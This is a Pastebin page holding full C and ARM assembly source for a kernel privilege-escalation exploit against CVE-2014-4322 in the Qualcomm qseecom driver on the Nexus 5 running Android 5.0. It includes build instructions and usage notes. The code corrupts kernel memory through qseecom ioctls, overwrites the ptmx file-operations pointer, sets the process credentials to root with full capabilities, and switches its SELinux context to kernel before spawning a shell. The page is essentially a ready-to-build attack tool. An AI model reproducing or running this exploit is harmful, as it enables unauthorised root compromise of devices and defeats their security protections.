Advertisement
in73ct0rd3vil

Nexus 5 Root Exploit

May 23rd, 2015
626
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 16.19 KB | None | 0 0
  1. /*
  2.  *              CVE-2014-4322 exploit  for Nexus Android 5.0
  3.  *
  4.  *              Author : in73ct0r d3vil
  5.  *              Dedicated to HSH members --==[[HELL SHIELD HACKERS]]==--
  6.  *              Facebook page: https://www.facebook.com/devilforevryone?ref=hl
  7.  *
  8.  *               The exploit must be excuted as system privilege and specific  SELinux  context.
  9.  *               If exploit successed,you will gain root privilege and "kernel" SELinux  context
  10.  *
  11.  *              bug info:
  12.  *                  https://www.codeaurora.org/projects/security-advisories/memory-corruption-qseecom-driver-cve-2014-4322
  13.  *
  14.  *               how to build:
  15.  *
  16.                                 create an  Android.mk as follow:
  17.  
  18.                                     include $(CLEAR_VARS)
  19.                                     include $(CLEAR_VARS)
  20.                                     LOCAL_SRC_FILES:= ./msm.c \
  21.                                                                                  ./shellcode.S
  22.  
  23.                                     LOCAL_MODULE:= exploit
  24.                                     #LOCAL_C_INCLUDES += $(common_includes)
  25.                                     LOCAL_CPPFLAGS += -DDEBUG
  26.                                     LOCAL_CFLAGS += -DDEBUG
  27.                                     LOCAL_LDLIBS += -L$(SYSROOT)/usr/lib -llog
  28.  
  29.                                     include $(BUILD_EXECUTABLE)
  30.                                     include $(BUILD_EXECUTABLE)
  31.  
  32.                                 create Application.mk as follow:
  33.  
  34.                                     APP_ABI := armeabi
  35.                                     APP_PLATFORM := android-8
  36.                                     APP_PIE:= true
  37.  
  38.                                 use  ndk-build to build the project
  39.  
  40.                 usage:
  41.  
  42.                              run  exploit as  system privilege,with SELinux context  such as "keystore","vold","drmserver","mediaserver","surfaceflinger"
  43.  *
  44.  *                           If exploit successed,you will gain root privilege and "kernel" SELinux  context
  45.  *
  46.  *
  47.  *                                           */
  48. //=========================================msm.c=============================================
  49. #include <string.h>
  50. #include <jni.h>
  51. #include <android/log.h>
  52. #include <pthread.h>
  53. #include <sys/prctl.h>
  54. #include <sys/ioctl.h>
  55. #include <stdio.h>
  56. #include <stdlib.h>
  57. #include <asm/ptrace.h>
  58. #include <asm/user.h>
  59. #include <asm/ptrace.h>
  60. #include <sys/wait.h>
  61. #include <sys/mman.h>
  62. #include <sys/types.h>
  63. #include <dlfcn.h>
  64. #include <dirent.h>
  65. #include <unistd.h>
  66. #include <linux/elf.h>
  67. #include <linux/reboot.h>
  68. #include <errno.h>
  69. #include <dlfcn.h>
  70. #include <stdio.h>
  71. #include <stdlib.h>
  72. #include <string.h>
  73. #include <fcntl.h>
  74. #include <unistd.h>
  75. #include <errno.h>
  76. #include <dirent.h>
  77. #include <sys/types.h>
  78. #include <sys/stat.h>
  79. #include <sys/mount.h>
  80. #include <linux/ptrace.h>
  81. #include <linux/prctl.h>
  82. #include <sys/system_properties.h>
  83. #include <errno.h>
  84. #include <termios.h>
  85. #include <sys/syscall.h>
  86. #include <sys/socket.h>
  87. #include <arpa/inet.h>
  88. #include <stdlib.h>
  89. #include <string.h>
  90. #include <unistd.h>
  91. #include <netinet/in.h>
  92. #include <errno.h>
  93. #include <linux/ion.h>
  94.  
  95. #include "../kernel.h"
  96. #include "qseecom.h"
  97.  
  98. //4.4.2   CFW(for debug)
  99. //#define PTMX_FOPS 0xc1334e00
  100. //fnPrintk printk = 0xc0a0113c;
  101.  
  102. //Nexus Android 5.0  OFW
  103. #define PTMX_DEVICE "/dev/ptmx"
  104. #define PTMX_FOPS 0xc1236cd8
  105. fnPrintk printk = 0xc0a21e78;
  106.  
  107. int MyCommitCred(int ruid, int rgid, signed int a3, int isSelinux);
  108.  
  109. int  kmemcmp(char *a1, char *a2, int len)
  110. {
  111.   int v3; // r3@2
  112.   int v4; // r4@3
  113.   int v5; // r5@3
  114.   int result; // r0@4
  115.  
  116.   if ( len )
  117.   {
  118.     v3 = 0;
  119.     while ( 1 )
  120.     {
  121.       v4 = a1[v3];
  122.       v5 = a2[v3];
  123.       if ( v4 != v5 )
  124.         break;
  125.       if ( a1[v3] )
  126.       {
  127.         ++v3;
  128.         if ( len != v3 )
  129.           continue;
  130.       }
  131.       goto LABEL_7;
  132.     }
  133.     result = v4 - v5;
  134.   }
  135.   else
  136.   {
  137. LABEL_7:
  138.     result = 0;
  139.   }
  140.   return result;
  141. }
  142.  
  143. int g_pid = 0;
  144. int g_tgid = 0;
  145.  
  146.  
  147.  
  148. int open_ion(){
  149.     int fd = open("/dev/ion",O_RDONLY);
  150.     if (fd<0){
  151.         perror("open");
  152.     }
  153.     printf("ion fd  %d\n",fd);
  154.     return fd;
  155. }
  156.  
  157.  
  158. // http://lwn.net/Articles/480055/
  159.  
  160. /*
  161.  * struct ion_allocation_data {
  162.     size_t len;
  163.     size_t align;
  164.     unsigned int heap_mask;
  165.     unsigned int flags;
  166.     struct ion_handle *handle;
  167. };
  168.  *
  169.  *
  170.  * */
  171. #define ION_FLAG_SECURE (1<<31)
  172.  
  173. int alloc_ion_memory(int client_fd,int size,struct ion_handle** pphandle){
  174.     int ret = -1;
  175.  
  176.     struct ion_allocation_data data;
  177.  
  178. // ION_FLAG_CACHED
  179.     data.len = size;
  180.     data.align = size;
  181.     data.flags = ION_HEAP_TYPE_CARVEOUT ;
  182.     //data.heap_mask = ION_HEAP_TYPE_CARVEOUT;
  183.     //data.handle = handle;
  184.  
  185.     ret = ioctl(client_fd, ION_IOC_ALLOC, &data);
  186.     if (ret<0){
  187.         perror("ION_IOC_ALLOC");
  188.     }
  189.     *pphandle = data.handle;
  190.     return ret;
  191.  
  192. }
  193. /*
  194.     struct ion_fd_data {
  195.         struct ion_handle *handle;
  196.         int fd;
  197.    }
  198.    */
  199. int share_ion_memory(int client_fd,struct ion_handle* handle){
  200.     struct ion_fd_data data;
  201.     data.handle = handle;
  202.     data.fd = -1;
  203.  
  204.     int ret = ioctl(client_fd, ION_IOC_SHARE, &data);
  205.  
  206.  
  207.     return data.fd;
  208.  
  209. }
  210.  
  211.  
  212.  
  213.  
  214. int obtain_dma_buf_fd(int size){
  215.         int fd_device = open_ion();
  216.         int dmf_fd = -1;
  217.  
  218.         struct ion_handle* handle;
  219.         int ret = alloc_ion_memory(fd_device,size,&handle);
  220.         if (ret<0){
  221.             perror("alloc_ion_memory");
  222.         }
  223.  
  224.         dmf_fd = share_ion_memory(fd_device,handle);
  225.  
  226.         if (dmf_fd<0){
  227.             perror("share_ion_memory");
  228.         }
  229.         return dmf_fd;
  230. }
  231.  
  232.  
  233. void* fd_to_mmap(int fd,int size){
  234.  
  235.  
  236.     void* seg_addr = mmap(0,
  237.                         size    ,
  238.                         PROT_READ | PROT_WRITE,
  239.                         MAP_SHARED,
  240.                           fd,
  241.                           0);
  242.  
  243.     if(seg_addr == MAP_FAILED){
  244.         perror("fd_to_map");
  245.     }
  246.  
  247.     return seg_addr;
  248. }
  249.  
  250.  
  251.  
  252. //c0a0113c T printk
  253. void sayhello(){
  254.     fnPrintk printk = 0xc0a0113c;
  255.     printk("hell0 shellocde");
  256.     return;
  257. }
  258.  
  259. void shell_code2();
  260.  
  261. static int
  262. run_obtain_root_privilege()
  263. {
  264.   int fd;
  265.   int ret;
  266.  
  267.   fd = open(PTMX_DEVICE, O_WRONLY);
  268.   if(fd<=0){perror("ptmx");return -1;}
  269.   ret = fsync(fd);
  270.   close(fd);
  271.  
  272.   return ret;
  273. }
  274.  
  275.  
  276. int main(int argc, char *argv[]){
  277.  
  278.         printf("mypid %d\n",getpid());
  279.         int ret  = -1;
  280.  
  281.                         int  fd = open("/dev/qseecom", 0);
  282.                         if (fd<0){
  283.                             perror("open");
  284.                             exit(-1);
  285.                         }
  286.  
  287.                         void* abuseBuff = malloc(400);
  288.                         memset(abuseBuff,0,400);
  289.  
  290.                         int* intArr = (int*)abuseBuff;
  291.                         int j = 0;
  292.  
  293.                         for(j=0;j<24;j++){
  294.  
  295.                                         intArr[j] = 0x1;
  296.  
  297.                         }
  298.  
  299.  
  300.                         struct qseecom_send_modfd_cmd_req ioctlBuff;
  301.  
  302.                         prctl(PR_SET_NAME, "GodFather", 0, 0, 0);
  303.  
  304.                        // if(0==fork()){
  305.  
  306.                             g_pid = getpid();
  307.                             g_tgid = g_pid;
  308.                             prctl(PR_SET_NAME, "ihoo.darkytools", 0, 0, 0);
  309.  
  310.                             //QSEECOM_IOCTL_SET_MEM_PARAM_REQ
  311.                             struct qseecom_set_sb_mem_param_req req;
  312.                             req.ifd_data_fd = obtain_dma_buf_fd(8192);
  313.  
  314.                             req.virt_sb_base = abuseBuff;
  315.                             req.sb_len = 8192;
  316.  
  317.                             ret = ioctl(fd, QSEECOM_IOCTL_SET_MEM_PARAM_REQ, &req);
  318.                             printf("QSEECOM_IOCTL_SET_MEM_PARAM_REQ return 0x%x \n",ret);
  319.  
  320.                             ioctlBuff.cmd_req_buf = abuseBuff;
  321.                             ioctlBuff.cmd_req_len = 400;
  322.                             ioctlBuff.resp_buf = abuseBuff;
  323.                             ioctlBuff.resp_len = 400;
  324.                             int i = 0;
  325.                             for (i = 0;i<4;i++){
  326.                                 ioctlBuff.ifd_data[i].fd = 0;
  327.                                 ioctlBuff.ifd_data[i].cmd_buf_offset =0;
  328.                             }
  329.                             ioctlBuff.ifd_data[0].fd = req.ifd_data_fd;
  330.                             ioctlBuff.ifd_data[0].cmd_buf_offset =   0;//(int)(0xc03f0ab4 + 8) - (int)abuseBuff;
  331.  
  332.  
  333.                                 printf("QSEECOM_IOCTL_SEND_CMD_REQ");
  334.                                 ret = ioctl(fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &ioctlBuff);
  335.  
  336.  
  337.                                 printf("return %p %p\n",intArr[0],intArr[1]);
  338.                                 perror("QSEECOM_IOCTL_SEND_CMD_REQ end\n");
  339.                                 printf("ioctl return 0x%x \n",ret);
  340.  
  341.                                 //*(int*)intArr[0] = 0x0;
  342.                                 void* addr = mmap(intArr[0],4096,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS,-1,0);
  343.                                 printf("mmap return %p \n",addr);
  344.  
  345.                                 *(int*)addr =  0xE3500000;
  346.                                 *((int*)((int)addr+4)) = 0xe1a0f00e;
  347.                                 memcpy(addr,shell_code2,400);
  348.  
  349.                                 int* arr = (int*)addr;
  350.                                 for(i=0;i<10;i++){
  351.                                     if(arr[i] == 0xeeeeeeee)
  352.                                         arr[i] = (int)MyCommitCred;
  353.                                     printf("%p\n",arr[i]);
  354.  
  355.                                 }
  356.  
  357.                                 //c1334e00 b ptmx_fops
  358.                                 ioctlBuff.ifd_data[0].cmd_buf_offset =   (int)(PTMX_FOPS + 14*4) - (int)abuseBuff;
  359.  
  360.  
  361.                                 printf("QSEECOM_IOCTL_SEND_CMD_REQ");
  362.                                 ret = ioctl(fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &ioctlBuff);
  363.                                 printf("return %p %p\n",intArr[0],intArr[1]);
  364.                                 perror("QSEECOM_IOCTL_SEND_CMD_REQ end\n");
  365.                                 printf("ioctl return 0x%x \n",ret);
  366.  
  367.  
  368.                                 run_obtain_root_privilege();
  369.  
  370.  
  371.                                 char * argv1[]={"sh",(char *)0};
  372.                                int result =  execv("/system/bin/sh", argv1);
  373.                                 if(result){
  374.                                                 perror("execv");
  375.                                 }
  376.  
  377.         return 0;
  378.  
  379.  
  380. }
  381.  
  382.  
  383.  
  384.  
  385.  
  386. int MyCommitCred(int ruid, int rgid, signed int a3, int isSelinux)
  387. {
  388.  
  389.         int v38; // [sp+0h] [bp-60h]@1
  390.         int addrBase;
  391.         char szName[16] = "ihoo.darkytools";
  392.         int offset;
  393.         mycred *my_cred;
  394.         mycred *my_real_cred;
  395.         struct task_security_struct * tsec;
  396.         int ret = -1;
  397.  
  398.         int searchLenth;
  399.  
  400.         isSelinux = 1;
  401.         //return 0;
  402.         addrBase = *(int*)(((int)(&v38) & 0xFFFFE000) + 0xC);
  403.         //return addrBase;
  404.         if ( addrBase > 0xBFFFFFFF )
  405.         {
  406.  
  407.           offset = 0;
  408.           while ( 1 )
  409.           {
  410.             addrBase += 4;
  411.             if ( !kmemcmp(addrBase, szName, 16) )
  412.               break;
  413.             ++offset;
  414.             if ( offset == 0x600 )
  415.             {
  416.               return 18;
  417.             }
  418.           }
  419.         }
  420.         else
  421.                 return 17;
  422.  
  423.         my_cred = *(int*)(addrBase -8);
  424.         my_real_cred = *(int*)(addrBase -8 - 4);
  425.  
  426.  
  427.         searchLenth = 0;
  428.         while(searchLenth<0x20){
  429.  
  430.  
  431.                         if(!my_cred || !my_real_cred
  432.                                         || my_cred<0xBFFFFFFF || my_real_cred<0xBFFFFFFF
  433.                                        ){
  434.                                         //2.6?
  435.  
  436.                                         addrBase-=4;
  437.  
  438.  
  439.                                         my_cred = *(int*)(addrBase-8 );
  440.                                         my_real_cred = *(int*)(addrBase -8-4);
  441.  
  442.                         }
  443.                         else
  444.                                 break;
  445.  
  446.                         searchLenth++;
  447.         }
  448.  
  449.         if(searchLenth == 0x20)
  450.                 return 0X20;
  451.                 // fuck!! where is my cred???
  452.  
  453.  
  454.         my_cred->uid = 0;
  455.         my_cred->gid = 0;
  456.         my_cred->suid = 0;
  457.         my_cred->sgid = 0;
  458.         my_cred->egid = 0;
  459.         my_cred->euid = 0;
  460.         my_cred->fsgid = 0;
  461.         my_cred->fsuid = 0;
  462.         my_cred->securebits=0;
  463.         my_cred->cap_bset.cap[0] = -1;
  464.         my_cred->cap_bset.cap[1] = -1;
  465.         my_cred->cap_inheritable.cap[0] = -1;
  466.         my_cred->cap_inheritable.cap[1] = -1;
  467.         my_cred->cap_permitted.cap[0] = -1;
  468.         my_cred->cap_permitted.cap[1] = -1;
  469.         my_cred->cap_effective.cap[0] = -1;
  470.         my_cred->cap_effective.cap[1] = -1;
  471.  
  472.         my_real_cred->uid = 0;
  473.         my_real_cred->gid = 0;
  474.         my_real_cred->suid = 0;
  475.         my_real_cred->sgid = 0;
  476.         my_real_cred->egid = 0;
  477.         my_real_cred->euid = 0;
  478.         my_real_cred->fsgid = 0;
  479.         my_real_cred->fsuid = 0;
  480.         my_real_cred->securebits=0;
  481.         my_real_cred->cap_bset.cap[0] = -1;
  482.         my_real_cred->cap_bset.cap[1] = -1;
  483.         my_real_cred->cap_inheritable.cap[0] = -1;
  484.         my_real_cred->cap_inheritable.cap[1] = -1;
  485.         my_real_cred->cap_permitted.cap[0] = -1;
  486.         my_real_cred->cap_permitted.cap[1] = -1;
  487.         my_real_cred->cap_effective.cap[0] = -1;
  488.         my_real_cred->cap_effective.cap[1] = -1;
  489.  
  490.  
  491.         if(isSelinux){
  492.  
  493.                         tsec = my_cred->security;
  494.  
  495.                         if(tsec && tsec > 0xBFFFFFFF){
  496.                                         tsec->sid = 1;
  497.                                         tsec->exec_sid = 1;
  498.  
  499.                                         ret = 15;
  500.                         }
  501.                         else {
  502.                                         tsec = (struct task_security_struct*)(*(int*)(0x10 +  (int)&my_cred->security));
  503.  
  504.                                         if(tsec && tsec > 0xBFFFFFFF){
  505.                                                                             tsec->sid = 1;
  506.                                                                             tsec->exec_sid = 1;
  507.  
  508.                                                                             ret = 15;
  509.                                                             }
  510.                         }
  511.  
  512.  
  513.                         tsec = my_real_cred->security;
  514.  
  515.                         if(tsec && tsec > 0xBFFFFFFF){
  516.                                         tsec->sid = 1;
  517.                                         tsec->exec_sid = 1;
  518.  
  519.                                         ret = 15;
  520.                         }else {
  521.                                         tsec = (struct task_security_struct*)(*(int*)(0x10 +  (int)&my_real_cred->security));
  522.  
  523.                                         if(tsec && tsec > 0xBFFFFFFF){
  524.                                                                             tsec->sid = 1;
  525.                                                                             tsec->exec_sid = 1;
  526.  
  527.                                                                             ret = 15;
  528.                                                             }
  529.                         }
  530.  
  531.  
  532.  
  533.         }
  534.         else{
  535.                         ret = 16;
  536.         }
  537.         printk("return %d",ret);
  538.         return ret;
  539. }
  540. //=========================================msm.c   end=============================================
  541. //=========================================shellcode.S   start=============================================
  542. #define __ASSEMBLY__
  543. #include  <linux/linkage.h>
  544.  
  545. .extern sayhello
  546.  
  547.  
  548. ENTRY(shell_code2)
  549.                       ldr r0, [pc , #4]
  550.                       STMFD  SP!, {R0}
  551.                       LDMFD   SP!, {PC}
  552.  .byte 0xee, 0xee, 0xee, 0xee
  553. //=========================================shellcode.S   end=============================================
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement